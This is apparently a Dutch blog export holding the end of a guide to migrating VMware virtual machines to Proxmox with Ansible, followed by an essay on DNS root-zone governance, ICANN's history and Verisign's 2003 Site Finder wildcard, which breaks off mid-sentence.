Er hoeft ze dan ook niets anders te kopiëren. Ooit.\nDe Cutover Dit is de enige play die downtime kost, en de volgorde erin is niet onderhandelbaar.\nEerst, een probleem dat makkelijk te missen is: de inventory is nu verouderd. Hij werd verzameld vóór de vMotion, dus vm_disks houdt nog de oude datastore-paden. Importeer daaruit en je wijst Proxmox naar een pad dat het niet kan zien.\n- name: Re-read the inventory now the disks have moved ansible.builtin.meta: refresh_inventory Wat ook is waarom caching uitgeschakeld is in de inventory-config. Een warme cache zou refresh_inventory precies de verouderde data teruggeven die het geroepen werd te vervangen. Dat is een echte afweging — vCenter is niet snel — maar een fout pad hier is een gefaalde cutover in een venster, en de rondgang is daarbij vergeleken goedkoop.\nDan uitschakelen. Een VMDK importeren die een ESXi-host nog open heeft geeft je op zijn best een crash-consistente kopie:\n- name: Shut the guest down in VMware delegate_to: localhost vmware.vmware.vm_powerstate: moid: \u0026#34;{{ vm_moid }}\u0026#34; state: \u0026#34;{{ \u0026#39;shutdown-guest\u0026#39; if vm_power_state == \u0026#39;poweredOn\u0026#39; else \u0026#39;powered-off\u0026#39; }}\u0026#34; timeout: 600 force: true shutdown-guest is een gracieuze afsluiting via VMware Tools; force: true stopt hard alles dat niet binnen de timeout wil. Op de nieuwe module is de parameter timeout, niet state_change_timeout zoals op de deprecated.\nDan de import, wat het draaipunt is:\n- name: Import each VMDK onto its VM delegate_to: localhost throttle: 2 community.proxmox.proxmox_disk: vmid: \u0026#34;{{ pve_vmid }}\u0026#34; disk: \u0026#34;scsi{{ idx }}\u0026#34; storage: \u0026#34;{{ pve_target_storage }}\u0026#34; import_from: \u0026gt;- {{ item.backing.fileName | regex_replace(\u0026#39;^\\[[^\\]]+\\]\\s*\u0026#39;, \u0026#39;/mnt/pve/\u0026#39; ~ nfs_storage_pve ~ \u0026#39;/\u0026#39;) }} format: \u0026#34;{{ pve_target_format }}\u0026#34; timeout: \u0026#34;{{ import_timeout }}\u0026#34; create: regular state: present loop: \u0026#34;{{ vm_disks }}\u0026#34; loop_control: index_var: idx De regex_replace doet de vertaling tussen de twee werelden. vCenter noemt een schijf [nfs-migration] app01/app01.vmdk; Proxmox bereikt hetzelfde bestand op /mnt/pve/nfs-migration/app01/app01.vmdk. Zelfde export, zelfde bytes, geen tweede kopie. Je houdt de descriptor-.vmdk en negeert de -flat.vmdk ernaast — qemu-img leest de descriptor en volgt die naar de extent.\nDrie dingen over import_from die allemaal in de module zitten en allemaal de moeite waard zijn te weten voordat het venster opent.\nHet vuurt alleen bij create. In de update-tak:\n# \u0026#39;import_from\u0026#39; fails on disk updates playbook_config = self.get_create_attributes() playbook_config.pop(\u0026#34;import_from\u0026#34;, None) Als scsi0 al bestaat op die VM, wordt de parameter verwijderd en krijg je een gewone update. Dus een herdraai na een slechte import her-importeert niet. Het doet stilletjes helemaal niets en meldt succes. Als een import misgaat, verwijder de schijf voordat je het opnieuw probeert.\ntimeout staat standaard op 600 seconden. Tien minuten, om de schijf van een virtuele machine te importeren en te converteren. De eigen documentatie van de module zegt hem te verhogen; neem het advies.\nEn een absoluut pad heeft root nodig. De documentatie is er bot over:\n\u0026lt;STORAGE\u0026gt;:\u0026lt;VMID\u0026gt;/\u0026lt;FULL_NAME\u0026gt; or \u0026lt;ABSOLUTE_PATH\u0026gt;/\u0026lt;FULL_NAME\u0026gt;. \u0026lt;STORAGE\u0026gt;:import/\u0026lt;FULL_NAME\u0026gt; for PVE 9.x and later, to use storage\u0026rsquo;s import directory. Attention! Only root can use absolute paths.\nWat ongemakkelijk landt tegen het advies dat ik vorige keer gaf, en nog steeds achtersta: gebruik een scoped API-token, geen root. Dat advies houdt voor elke andere fase hier: discovery, SDN, schillen bouwen, boot-volgorde zetten werken allemaal prima met een token. Deze ene task niet, en geen hoeveelheid privilege op de rol zal het veranderen, want de beperking zit op de gebruiker die root is in plaats van op een permissie.\nEr zijn drie eerlijke uitwegen, en geen slimme vierde:\nPVE 9.x: gebruik \u0026lt;storage\u0026gt;:import/\u0026lt;file\u0026gt; en blijf op het token. PVE 8.x: doe deze ene task als root@pam, en alleen deze ene. PVE 8.x, geen root over de API: draai in plaats daarvan qm importdisk over SSH. De playbook neemt de eerste twee via een flag, want anders doen zou het probleem alleen verschuiven naar wie het ook draait.\nTen slotte de boot-volgorde, wat een gewone update is en daarom onaangeraakt door de update_unsafe-beperking:\n- name: Boot from the first imported disk delegate_to: localhost community.proxmox.proxmox_kvm: node: \u0026#34;{{ proxmox_node }}\u0026#34; vmid: \u0026#34;{{ pve_vmid }}\u0026#34; boot: \u0026#34;order=scsi0\u0026#34; update: true Niks start de gast. Dat is bewust. Start hem met de hand, kijk hem opkomen, en denk pas dan aan het verwijderen van iets in VMware.\nHet Draaien Het hele ding is één playbook, getagd per fase, want dit zijn geen stappen die je samen wilt draaien:\nansible-playbook migrate.yml --tags discover # look, change nothing ansible-playbook migrate.yml --tags sdn # build the VLANs ansible-playbook migrate.yml --tags build # build the diskless shells ansible-playbook migrate.yml --tags relocate # storage vMotion, live ansible-playbook migrate.yml --tags cutover # power off and import --limit is overal je vriend. Doe eerst één VM. Doe één cluster. De playbook heeft geen mening over hoeveel je afbijt, en de inventory geeft je groepen gratis — power_poweredOn, cluster_\u0026lt;name\u0026gt;, plus vmware_windows en vmware_linux uit het groups-blok.\nControleer waar je naar wijst voordat je ernaar wijst:\nansible-inventory --graph ansible-inventory --host some-vm Waar Ik Nog Steeds Op Zou Letten Dingen die ik verwacht te vinden wanneer dit een echt landschap ontmoet, nu opgeschreven zodat ik achteraf niet kan beweren dat ik ze zag aankomen:\nWindows-gasten booten niet schoon van een VirtIO SCSI-controller zonder dat de driver eerst aanwezig is. virtio-scsi-single is de juiste controller en de verkeerde om aan een Windows-VM te overhandigen die hem nooit heeft gezien. Dat is een heel probleem op zichzelf en het wordt door niets hierboven opgelost. VMware Tools zou eraf moeten voor de verplaatsing, niet erna. Snapshots. Een VM met een snapshot-keten heeft meer dan één .vmdk per schijf en de basis importeren geeft je de toestand vóór de snapshot. Consolideer eerst. De config.hardware.device-volgorde is wat beslist welke schijf scsi0 wordt. Het heeft overal waar ik heb gekeken de eigen volgorde van de gast gematcht, maar ik zou het op een multi-disk-databaseserver controleren voordat ik het in een venster vertrouw. Independent- en RDM-schijven zullen niet storage-vMotionen zoals gewone. Niets daarvan verandert de vorm. Bouw eerst de schillen, verplaats de schijven terwijl alles nog draait, en houd de uitval bij de ene play die het nodig heeft.\n","permalink":"https://blogs.damiendye.uk/nl/ansible/vmware-to-proxmox-ansible/","summary":"Een vSphere-landschap lezen met de dynamische inventory, zijn VLAN\u0026rsquo;s spiegelen naar Proxmox-SDN, en elke VM als schijfloze schil herbouwen voordat er één schijf beweegt. Waarom elke VMware-info-module het ene veld verbergt dat de migratie nodig heeft, waarom vlan_id drie verschillende types is, en waarom één NFS-export twee keer gemount de cutover in een lokale read verandert.","title":"VMware Naar Proxmox met Ansible — Bouw de Schillen Voordat Je Een Byte Verplaatst"},{"content":"Ik was DNS-registersysteembeheerder bij Nominet, het .uk-register, van 2017 tot 2019. Wat volgt over ICANN is allemaal openbaar en ik heb de hele boel gelinkt. Waar ik in plaats daarvan vanuit de baan spreek, zeg ik dat.\nVraag de meeste engineers wie DNS runt en je krijgt een van twee antwoorden. Ofwel een schouderophalen, ofwel iets over dertien rootservers. Beide zijn fout, en de tweede is op een interessantere manier fout, want die wijst naar de machines in plaats van naar het bestand.\nControle over DNS is niet verspreid over dertien servers. Het zit in één tekstbestand, en in het handjevol bedrijven dat beslist wat erin komt, het bewerkt, het ondertekent, en het publiceert. Al het andere in het systeem — elke resolver, elke registrar, elke zone die je ooit gerund hebt — is stroomafwaarts van dat bestand en ontleent zijn autoriteit eraan.\nDeze post gaat over wie dat bestand houdt, wat de overdracht van 2016 werkelijk overdroeg, en wat de mensen die het houden ermee hebben gedaan. De machinerie eronder — wat een register werkelijk is, hoe namen erin komen, en wie er een kan afnemen — is het vervolg.\nVoor ICANN Was Het Een Telefoontje Niets van de huidige regeling is onvermijdelijk, en de geschiedenis zegt wat ICANN werkelijk gebouwd werd om te repareren.\nOm te beginnen was er helemaal geen DNS. Vanaf 1972 was er één tekstbestand, HOSTS.TXT, dat elke machinenaam op het ARPANET en het adres waar die op leefde bevatte. Het werd bijgehouden bij het Stanford Research Institute door Elizabeth Feinler en haar team, en als je je machine erin wilde belde je het Network Information Center tijdens kantooruren en vroeg je erom. Iedereen anders haalde het bestand af en toe op en hoopte dat het actueel was.\nDat schaalt niet, en tegen de vroege jaren tachtig was het dat duidelijk niet. DNS werd gebouwd om het te vervangen — een boom, naar beneden gedelegeerd, zodat geen enkel kantoor de hele lijst hoefde te houden.\nIemand moest nog steeds de top van de boom houden. Jarenlang was die iemand één man. Jon Postel, aan de University of Southern California, runde de naam- en nummertoewijzingen op onderzoeksgeld van de Amerikaanse overheid. IANA — de Internet Assigned Numbers Authority — was op dat moment geen instituut. Het was Postel en een handvol collega\u0026rsquo;s, en het werkte omdat de mensen die het netwerk runden hem vertrouwden.\nGeld arriveerde in 1993, toen de National Science Foundation InterNIC — Network Solutions onder hen — contracteerde om registratie af te handelen. Op 14 september 1995 eindigde gratis registratie. Network Solutions rekende $50 per jaar op een minimum van twee jaar, en 30% ervan ging naar een overheidsfonds dat een rechter later een illegale belasting oordeelde. Eén bedrijf, één prijs, nergens anders heen, en tegen 1997 een antitrustzaak.\nToen deed Postel in januari 1998 het ding dat je vertelt waar de autoriteit van de root werkelijk van gemaakt is.\nHij mailde acht van de twaalf rootserver-operators, op niets dan zijn eigen standing, en vroeg ze hun servers naar IANA\u0026rsquo;s machine te wijzen in plaats van die van Network Solutions. Alle acht deden het. Ongeveer een week lang was de gezaghebbende root van het internet waar Jon Postel mensen ook had gevraagd te kijken.\nHij noemde het een test. Heel wat mensen lazen het als een demonstratie — dat de root aan de engineers die hem bouwden toebehoorde in plaats van aan een overheidscontractant. De reactie beslecht welke lezing Washington nam. Ira Magaziner, de presidentiële adviseur op de kwestie, vertelde Postel dat hij nooit meer aan het internet zou werken. De test werd teruggedraaid.\nICANN werd die september in Californië opgericht. Postel stierf de volgende maand.\nDus de regeling waar deze post over gaat werd gebouwd om twee echte problemen te repareren: een namespace die verkocht werd door een onverantwoordelijke monopolist, en een root waarvan de autoriteit rustte op één man die breed vertrouwd werd. Beide waren echte problemen. ICANN was het antwoord erop.\nTwee Codes Die De Regel Overleefden Twee losse eindjes uit dat tijdperk voordat we verdergaan, want samen zeggen ze meer over hoe dit systeem werkelijk werkt dan wat dan ook in ICANN\u0026rsquo;s statuten.\nHet VK nam de verkeerde code en hield hem.\nRFC 920, in oktober 1984, zei dat landen-top-level-domeinen genomen zouden worden uit de tweeletterige codes in ISO 3166. De ISO 3166-code van het Verenigd Koninkrijk is GB. Volgens de regel zoals geschreven zou het domein van het VK .gb moeten zijn.\nHet is het niet, want het VK was er eerder. JANET, het academische netwerk, had uk al als top-level-identifier gekozen een paar maanden voordat de ISO-afgeleide lijst werd opgesteld, en .uk werd geregistreerd op 24 juli 1985. .gb werd ook toegewezen, in de veronderstelling dat .uk er mettertijd naartoe zou migreren.\nDe migratie gebeurde nooit. Niemand liet het gebeuren. .gb zat vervolgens vier decennia in de root en had in zijn hele leven één tweede-niveau-domein opgepikt — hmg.gb, voor Her Majesty\u0026rsquo;s Government — dat nauwelijks gebruikt werd. ISO boog uiteindelijk om het feit ter plaatse heen en reserveerde bij uitzondering UK op verzoek van het Verenigd Koninkrijk.\nNiemand werd beroofd, overigens. UK was niet de code van een ander land — het is bij uitzondering gereserveerd in ISO 3166 voor het Verenigd Koninkrijk, op verzoek van het Verenigd Koninkrijk zelf, en geen andere staat had er ooit aanspraak op. Dat is precies waarom niemand de kwestie forceerde: er was geen benadeelde partij om te klagen.\nWat het het vertellen waard maakt. De ISO 3166-regel is rigide voor iedereen die erin probeert te komen: geen vermelding op de lijst, geen landcode-domein. Daarom lobbyen territoria in de eerste plaats om aan ISO 3166 te worden toegevoegd, en daarom hebben plekken zonder erkenning helemaal geen ccTLD. Voor een gevestigde partij die al in de root zit, bleek dezelfde regel een suggestie.\nEr is zelfs een terecht argument dat het VK met de betere naam eindigde. GB is Great Britain, wat Noord-Ierland weglaat. UK niet. De niet-conforme code beschrijft de staat accurater dan de conforme zou hebben gedaan.\nEn de Sovjet-Unie zit nog steeds in de root. Deze is vreemder.\n.su werd op 19 september 1990 aan de Sovjet-Unie gedelegeerd. De Sovjet-Unie hield vijftien maanden later op te bestaan.\nHet is er nog steeds. Vijfendertig jaar nadat de staat waaraan het toebehoort ophield te bestaan, is .su live en neemt het registraties aan — iets meer dan 111.500 namen vanaf mei 2025, beheerd vanuit Moskou.\nDe regel zegt dat ccTLD\u0026rsquo;s uit ISO 3166 komen. ISO 3166 vermeldt de Sovjet-Unie niet. En het is niet zo dat de regel nooit werd toegepast: .dd voor Oost-Duitsland en .yu voor Joegoslavië gingen allebei toen die staten dat deden. .su was degene die dat niet deed, en niemand is ooit in staat geweest het verschil in termen van de regel uit te leggen.\nWat het werd is voorspelbaar genoeg. Toen .ru zijn registratiecontroles eind 2011 aanscherpte, verhuisde de handel naar de buren. Kwaadaardige sites in .su verdubbelden in 2011 en verdubbelden opnieuw in 2012, wat hetzelfde verhaal is als de goedkope nieuwe gTLD\u0026rsquo;s en de gratis ccTLD\u0026rsquo;s later in deze post: misbruik is een vloeistof, en het stroomt naar waar de controles ook het zwakst zijn.\nTwee landcodes, dan, die de regel overleefden die ze produceerde. .uk omdat niemand een gevestigde partij liet verhuizen, .su omdat niemand een delegatie liet gaan toen zijn land dat deed. In beide gevallen is het regelboek duidelijk en in beide gevallen bleef het onafgedwongen, want het afdwingen zou hebben betekend iets afnemen van iemand die het al had.\nDat is het hele karakter van autoriteit in DNS, zichtbaar voordat ICANN bestond, en als zodanig zou niets van wat volgt je moeten verrassen.\nWat dat antwoord bleek te zijn is de rest van deze post.\nDe Achttien Jaar Tot De Overdracht ICANN werd op 30 september 1998 in Californië opgericht en tekende onmiddellijk een Memorandum of Understanding met het Amerikaanse Department of Commerce. Het begon niet onafhankelijk en werd Amerikaans. Het was Amerikaans vanaf de eerste dag, door constructie, en de regeling werd in de een of andere vorm achttien jaar verlengd.\nBegin met het ding dat het goed deed, want er is er een en het doet ertoe.\nIn 1999 brak ICANN het registratiemonopolie. Network Solutions was de enige plek geweest om een .com te kopen; het Shared Registration System liet andere registrars namen in dezelfde zone verkopen, en de prijs daalde en bleef dalen. Dat is een echte prestatie, het is de reden dat een domein vandaag kost wat het kost, en niets later in deze post schrapt het.\nDan begint het patroon dat door al het andere loopt.\n2000. ICANN hield een wereldwijde verkiezing waarin internetgebruikers vijf raadsleden rechtstreeks kozen. Het werd nooit herhaald. De at-large-structuur die het verving adviseert en stemt niet. De eerste en laatste keer dat het publiek een bindende zeggenschap in ICANN kreeg, stopte ICANN het.\n2005. Op de World Summit on the Information Society in Tunis maakte een groot deel van de wereld bezwaar tegen het VS die de root hield. Wat eruit kwam was het Internet Governance Forum — een jaarlijkse conferentie zonder autoriteit over wat dan ook. De root-regeling veranderde niet.\n2005. De .xxx-affaire, die zes jaar liep en het scherpste enkele bewijs in deze hele post is dat jurisdictie niet abstract is. Sociaal conservatieve lobbygroepen in de Verenigde Staten drongen aan bij het Department of Commerce. De NTIA — de National Telecommunications and Information Administration, de arm van Commerce die de overeenkomst met ICANN hield — stelde brieven op aan ICANN en, in haar eigen woorden, marshalde haar middelen bij ICANN. De raad — die op goedkeuring afstevende — wees de aanvraag af, negen tegen vijf, toen weer acht tegen vier, waarbij de voorzitter en de CEO allebei van positie veranderden. Viviane Reding, destijds de verantwoordelijke Europese commissaris, noemde het het eerste duidelijke geval van politieke inmenging in ICANN door de Amerikaanse overheid. .xxx werd uiteindelijk goedgekeurd in 2011, op welk punt het Department of Commerce aankondigde teleurgesteld te zijn.\nEen Amerikaanse binnenlandse lobbycampagne, gerouteerd via een Amerikaans federaal agentschap, veranderde welke top-level-domeinen op het internet bestaan. Geen verdrag, geen rechtbank, geen stemming buiten de Verenigde Staten.\n2009. De Joint Project Agreement met Commerce werd vervangen door de Affirmation of Commitments, breed opgeschreven als ICANN dat onafhankelijk werd. Het IANA-functiescontract bleef precies waar het was.\nDan het ding dat het werkelijk verplaatste, en het was niets dat ICANN deed.\n2013. Edward Snowden. Op 7 oktober, maanden in de onthullingen, publiceerden de leiders van ICANN, de Internet Engineering Task Force, de Internet Architecture Board (IAB), het World Wide Web Consortium, de Internet Society en alle vijf regionale internetregisters de Montevideo Statement, die opriep tot de globalisering van ICANN en de IANA-functies en, in termen, de schade citeerde die pervasieve surveillance aan het wereldwijde vertrouwen had toegebracht. De eigen technische leiding van het internet — ICANN\u0026rsquo;s chief executive onder de ondertekenaars — zei hardop dat Amerikaans rentmeesterschap een last was geworden.\n14 maart 2014. NTIA kondigde haar voornemen aan haar rentmeesterschap van de IANA-functies over te dragen.\n1 oktober 2016. Het contract liep af.\nDus de overdracht werd niet verdiend en werd niet op de merites verleend. Het werd toegegeven, achttien jaar erin, omdat een Amerikaans inlichtingenschandaal de bestaande regeling politiek onverdedigbaar maakte en de technische gemeenschap dat in het openbaar zei.\nWat het waard is vast te houden wanneer je leest wat de transitie werkelijk deed.\nWat De Transitie Van 2016 Veranderde, en Wat Niet Je zult horen dat de Amerikanen in 2016 het internet overdroegen. Iedereen die betoogt dat ICANN een instrument van Amerikaanse controle is krijgt dit te horen, en als ze hun feiten fout hebben verliezen ze het argument daar. Dus krijg ze goed.\nOp 1 oktober 2016 liep het IANA-functiescontract tussen NTIA en ICANN af en werd niet verlengd. Dat was echt. De Amerikaanse overheid houdt niet langer een contract dat het goedkeuring over rootzone-wijzigingen geeft, en nieuwe statuten creëerden een Empowered Community met de theoretische mogelijkheid om budgetten af te wijzen en raadsleden te verwijderen.\nHier is wat niet veranderde, en het was geen omissie. Het werd als doel opgeschreven.\nHet transitievoorstel verklaarde dat de juridische jurisdictie waarin ICANN zich bevindt onveranderd zou blijven. De nieuwe statuten vereisen dat ICANN in Californië gevestigd blijft. De hele verantwoordingsstructuur die tijdens de transitie werd gebouwd is gebouwd op Californisch recht. Het werkt door ICANN een Californische non-profit te maken die Californische rechtbanken kunnen worden gevraagd aan zijn eigen statuten te houden.\nDus na de grote overdracht: ICANN is een Californisch bedrijf, onderworpen aan Amerikaans federaal en Californisch recht, wiens verantwoordingsmechanismen afdwingbaar zijn in Amerikaanse rechtbanken en nergens anders, dat beleid stelt voor een rootzone die bewerkt en ondertekend wordt door een Amerikaans bedrijf onder een overeenkomst met het Amerikaanse Department of Commerce.\nHet contract ging. De jurisdictie werd bewust gehouden. En jurisdictie is het deel dat tanden heeft, want het vereist niet dat iemand ingrijpt. Het geldt automatisch, de hele tijd, standaard.\nDe helderste demonstratie is sancties. OFAC — het Office of Foreign Assets Control, deel van de Amerikaanse Treasury — runt Amerikaanse economische en handelssancties, en beslist met wie Amerikaanse personen en bedrijven zaken mogen doen. ICANN is een Californisch bedrijf, dus OFAC bindt het, en het beperkt met wie ICANN mag contracteren en accrediteren.\nWees precies over de reikwijdte: dat reikt tot generic-top-level-domain-registers (gTLD) en registrars, want die houden ICANN-contracten. Het reikt niet tot landcode-operaties (ccTLD), die volledig buiten ICANN\u0026rsquo;s contractuele structuur zitten. Maar het effect lekt ruim voorbij de juridische grens, want registrars buiten de Verenigde Staten hebben OFAC-beperkingen op hun eigen klanten toegepast onder de foutieve aanname dat het houden van een ICANN-contract het vereist, of simpelweg door Amerikaanse registrant-overeenkomsten te kopiëren. Amerikaans buitenlands beleid plant zich net zozeer door imitatie als door recht voort door de registrar-keten naar beneden.\nEr is geen versie hiervan waarin het antwoord op \u0026ldquo;wie beheert DNS\u0026rdquo; niet begint met de Verenigde Staten.\nWie dat overlaat om iets aan een ICANN-beslissing te doen is de andere helft van de vraag, en die is beter gesteld zodra er een relaas is om het tegen te testen. Deze post komt er aan het eind op terug.\nDe Root Is Een Tekstbestand Zoveel over wie de baas is. Hier is het ding waar ze de baas over zijn, en je kunt het gewoon ophalen. ICANN publiceert de rootzone per zone-overdracht — AXFR, het DNS-mechanisme voor het kopiëren van een hele zone in plaats van één record — aan iedereen die erom vraagt, zonder credentials:\ndig . AXFR @xfr.dns.icann.org Op dit moment is dat 1.578.790 bytes over 24.886 regels. Het bevat 1.439 delegaties — elk top-level-domein dat bestaat — waarvan er 1.350 een DS-record dragen — de delegation signer, de vingerafdruk die de ondertekeningssleutel van een child-zone aan zijn parent bindt — en daarom deel zijn van de ondertekende keten.\nAnderhalve megabyte. De hele namespace van het internet, klein genoeg om te mailen.\nDat bestand is het geheel van de autoriteit van de root. Een resolver die koud opstart weet niets behalve de adressen in zijn root hints, en op het moment dat het een antwoord krijgt volgt het delegaties uit dat bestand en nergens anders. Verander een delegatie erin en je hebt veranderd waar het verkeer van een heel land heen gaat. Er is geen tweede kopie met een andere mening, geen consensusprotocol, geen stemming op resolutietijd. Er is het bestand.\nDus de vraag \u0026ldquo;wie beheert DNS\u0026rdquo; reduceert tot een veel nauwere: wie kan dat bestand veranderen, en wie ondertekent het daarna.\nDrie Organisaties Raken Het Aan Het antwoord is een keten van drie, en het is de moeite waard duidelijk te zijn over wie wat doet, want de onderscheiden zijn waar alle argumenten leven.\nPTI — Public Technical Identifiers, een ICANN-affiliate — voert de IANA-functies uit. Het ontvangt rootzone-wijzigingsverzoeken van TLD-operators, controleert ze, en autoriseert ze. Dit is de administratieve laag, en bewust zo: het hele ontwerpdoel is dat IANA een zorgvuldige klerk is zonder discretie.\nVerisign is de Root Zone Maintainer. Het neemt de geautoriseerde wijziging, bewerkt het zonebestand, ondertekent het met de rootzone-ondertekeningssleutel, en publiceert het voor distributie. Verisign is een Amerikaans beursgenoteerd bedrijf, en het doet dit onder een Cooperative Agreement met het Amerikaanse Department of Commerce.\nDe rootserver-operators bedienen het vervolgens. Ze zijn het minst machtige deel van de keten en het enige deel waar iemand ooit van gehoord heeft.\nMerk op waar de discretie werkelijk zit. Niet bij de operators. Niet echt bij de klerk. Het zit bij wie het beleid stelt dat de klerk toepast, wat ICANN is, en bij het bedrijf dat de pen en de ondertekeningssleutel houdt, wat Verisign is, onder een overeenkomst met de Amerikaanse overheid.\nTien Van De Dertien De rootserver-letters zijn de moeite waard volledig op te sommen, want mensen citeren het getal dertien alsof het spreiding impliceert:\nLetter Operator Land A Verisign VS B USC Information Sciences Institute VS C Cogent Communications VS D University of Maryland VS E NASA Ames Research Center VS F Internet Systems Consortium VS G US Department of Defense (DISA) VS H US Army Research Laboratory VS I Netnod Zweden J Verisign VS K RIPE NCC Nederland L ICANN VS M WIDE Project Japan Dertien letters, twaalf organisaties, want Verisign houdt zowel A als J. Tien van de dertien worden vanuit de Verenigde Staten geopereerd. Twee ervan zijn het Amerikaanse leger.\nDat is geen samenzwering, het is gefossiliseerde geschiedenis. Dit zijn de instituten die in de jaren tachtig op het netwerk zaten en nooit vertrokken. Maar een toeval van de geschiedenis dat het Amerikaanse leger twee van de rootservers van het internet laat runnen is nog steeds het Amerikaanse leger dat twee van de rootservers van het internet runt, en het is een vreemd ding om als een wereldwijd systeem te beschrijven.\nDe operators hebben ook geen betekenisvol contract dat hen bindt. ICANN heeft hen niet in dienst en kan ze op geen enkele rechttoe rechtaan manier verwijderen. Ze bedienen de root omdat ze dat altijd hebben gedaan. De stabiliteit van het systeem op deze laag rust op goodwill en niks steviger, wat werkt tot precies de dag dat het dat niet doet.\nICANN Runt De Rootzone Niet Dit is het belangrijkste feit in de post en het wordt bijna nooit hardop gezegd, dus het krijgt zijn eigen kop.\nICANN opereert de rootzone niet.\nHet beslist wat erin zou moeten. Het bewerkt het bestand niet, het ondertekent het bestand niet, en het bedient het bestand niet. Verisign bewerkt en ondertekent. Twaalf organisaties bedienen. ICANN\u0026rsquo;s taak is te zeggen wat het antwoord zou moeten zijn, en dan iemand anders zover te krijgen het zo te maken.\nDie splitsing is het enige dat ICANN in toom houdt.\nStel het je voor zonder de splitsing. Eén instantie stelt het beleid, houdt de pen, bezit de ondertekeningssleutel en runt de servers. Tussen het beslissen van een ding en dat ding waar zijn overal ter wereld, is er geen andere partij, geen tweede paar handen, en niemand in een positie om nee te zeggen. Wat je ook van ICANN\u0026rsquo;s relaas hieronder vindt, die regeling zou erger zijn.\nZoals het is, zijn er drie remmen. Geen ervan zit in een statuut.\nHet bestand is openbaar. Iedereen kan de rootzone over AXFR ophalen — het commando staat bovenaan deze post — en het tegen dat van gisteren diffen. Je kunt een delegatie niet stilletjes veranderen. Iemand anders moet de wijziging maken. De maintainer doet de bewerking en de ondertekening. Dat is nog een organisatie die ermee moet instemmen het te doen, en nog een die zou kunnen weigeren. De operators bedienen met instemming. Zoals hierboven heeft ICANN geen betekenisvol contract met de rootserver-operators. Ze distribueren de zone omdat ze dat altijd hebben gedaan. Niets verplicht ze iets te distribueren — en zoals Postel in 1998 toonde, is instemming verplaatsbaar door iemand die ze vertrouwen die het vriendelijk vraagt. De laatste is het echte vangnet, en het is een laag lager gebruikt binnen levende herinnering. Toen Verisign .com wildcardde in 2003, leverde de Internet Systems Consortium (ISC) delegation-only in BIND en operators stopten simpelweg met het honoreren van de antwoorden. Niemand hoefde een argument op een beleidsforum te winnen. Het vermogen van de technische gemeenschap om te weigeren staat nergens opgeschreven en iedereen die erbij betrokken is weet dat het er is.\nNu het ongemakkelijke deel, want dit is dunner dan het klinkt.\nNiemand ontwierp deze controle. Het is geen scheiding der machten, het is een toeval van hoe het werk in de jaren negentig verdeeld werd, en de transitie van 2016 versterkte het noch schreef het op. Er is geen regel die zegt dat de instantie die beleid stelt niet op een dag ook de pen mag houden.\nEn de partij die de controle doet is een commercieel bedrijf waar ICANN zaken mee doet. Verisign houdt de rootzone-maintainer-rol, en het .com-contract, en — zoals de rest van deze post uiteenzet — een overeenkomst van $20 miljoen met ICANN getekend in dezelfde onderhandeling als een .com-prijsstijging. Een controle die afhangt van de ene partij die bereid is de andere te weigeren houdt op te werken zodra de twee dingen samen ondertekenen.\nDus de scheiding is het beste aan de huidige regeling. Het is ook ongeschreven, ongepland, en bij elkaar gehouden door gewoonte.\nDe Namespace Verkopen Vóór al het governance-argument toont iets eenvoudigers wat de mensen die een stukje van de namespace houden ermee doen wanneer niets ze stopt. Het is herhaaldelijk gebeurd, op elke laag, en de eerste keer dat het aan de top gebeurde duurde het negentien dagen.\nOp 15 september 2003 voegde Verisign een wildcard-A-record toe aan de .com- en .net-zones:\n*.com. IN A 64.94.110.11 Dat adres reverst naar sitefinder.verisign.com. Vanaf dat moment bestond elke naam in .com en .net. Elke typefout, elk niet-geregistreerd domein, elke misvormde string, elke verlopen naam — ze resolveerden allemaal, naar een Verisign-zoekpagina die Verisigns advertenties droeg.\nWaarom Dit Geen Advertentieverhaal Is De klachten destijds gingen meestal over de advertenties, en ze misten het punt. NXDOMAIN is geen user-experience-feature. Het is een dragend protocolsignaal, en een enorme hoeveelheid software boven DNS is gebouwd op het kunnen vragen \u0026ldquo;bestaat deze naam?\u0026rdquo; en een waarheidsgetrouw antwoord krijgen.\nVerwijder het negatieve antwoord en dingen breken op manieren die niets met browsers te maken hebben.\nMail was het ergste ervan, en het is het deel dat mensen nog steeds fout hebben. Verisign publiceerde geen wildcard-MX-record. Het hoefde niet. RFC 5321 §5.1 zegt dat wanneer een MX-lookup niets teruggeeft, de verzender terugvalt op het adres-record van het domein en het behandelt als een impliciete MX op preference 0. Verisign had zojuist elk niet-bestaand domein in .com een adres-record gegeven. Dus elke MTA op het internet — elke mail transfer agent, elke machine die mail doorstuurt — die de standaard correct volgde, had nu een mail exchanger voor soemcompany.com — en het was Verisigns machine.\nVerbind met poort 25 en het antwoordde:\n220 snubby2-wceast Snubby Mail Rejector Daemon v1.3 ready Verisigns vermelde intentie was redelijk genoeg: wijs de mail meteen af zodat die niet wereldwijd in wachtrijen bleef zitten. De implementatie was dat niet. Snubby gaf pas op nadat de verzendende MTA de berichttekst had verzonden, en gaf een code terug die de meeste MTA\u0026rsquo;s als een tijdelijk falen lezen — dus in plaats van een directe bounce werd mail naar verkeerd getypte adressen dagenlang opnieuw geprobeerd voordat die stierf. Verisign verwisselde het later voor een Postfix-gebaseerde responder nadat operators op de NANOG-lijst klaagden.\nAnti-spam brak tegelijkertijd, en stiller. Controleren of het domein van een verzender werkelijk bestaat was, en is nog steeds, een van de goedkoopste en meest effectieve filterheuristieken die beschikbaar zijn. Van de ene op de andere dag bestond elk domein in de twee grootste TLD\u0026rsquo;s. De controle gaf voor alles waar terug en stopte met discrimineren.\nEn al het andere dat DNS spreekt maar geen HTTP — mailrelays, FTP-clients, netwerkprinters, monitoringsystemen — stopte met \u0026ldquo;no such host\u0026rdquo; te krijgen en begon een webserver te krijgen, wat zich vooral manifesteerde als timeouts en hangs in plaats van schone fouten. Een dode naam zag er nu uit als een kapotte dienst.\nEén bedrijf voegde één record toe aan één zonebestand en veranderde de faalsemantiek van het internet.\nWat Het Stopte Geen governance. Engineering, en toen een dreiging.\nISC leverde binnen dagen een delegation-only-feature in BIND, waarmee operators gesynthetiseerde antwoorden uit TLD-zones konden weggooien — de technische gemeenschap die om het register heen routeerde in plaats van bij iemand in beroep te gaan. Heel wat ISP\u0026rsquo;s zetten het in.\nICANN vroeg Verisign de dienst op te schorten. Op 21 september weigerde Verisign. ICANN eiste het toen op 3 oktober, met de contractuele gevolgen expliciet gemaakt, en Verisign trok de records op 4 oktober 2003 terug. De IAB publiceerde haar architecturale bezwaar tegen register-wildcards, en ICANN\u0026rsquo;s eigen Security and Stability Advisory Committee rapporteerde op 9 juli 2004 dat de dienst nooit zonder review had mogen worden ingezet en dat registers wildcards zouden moeten uitfaseren.\nToen klaagde Verisign ICANN aan, op 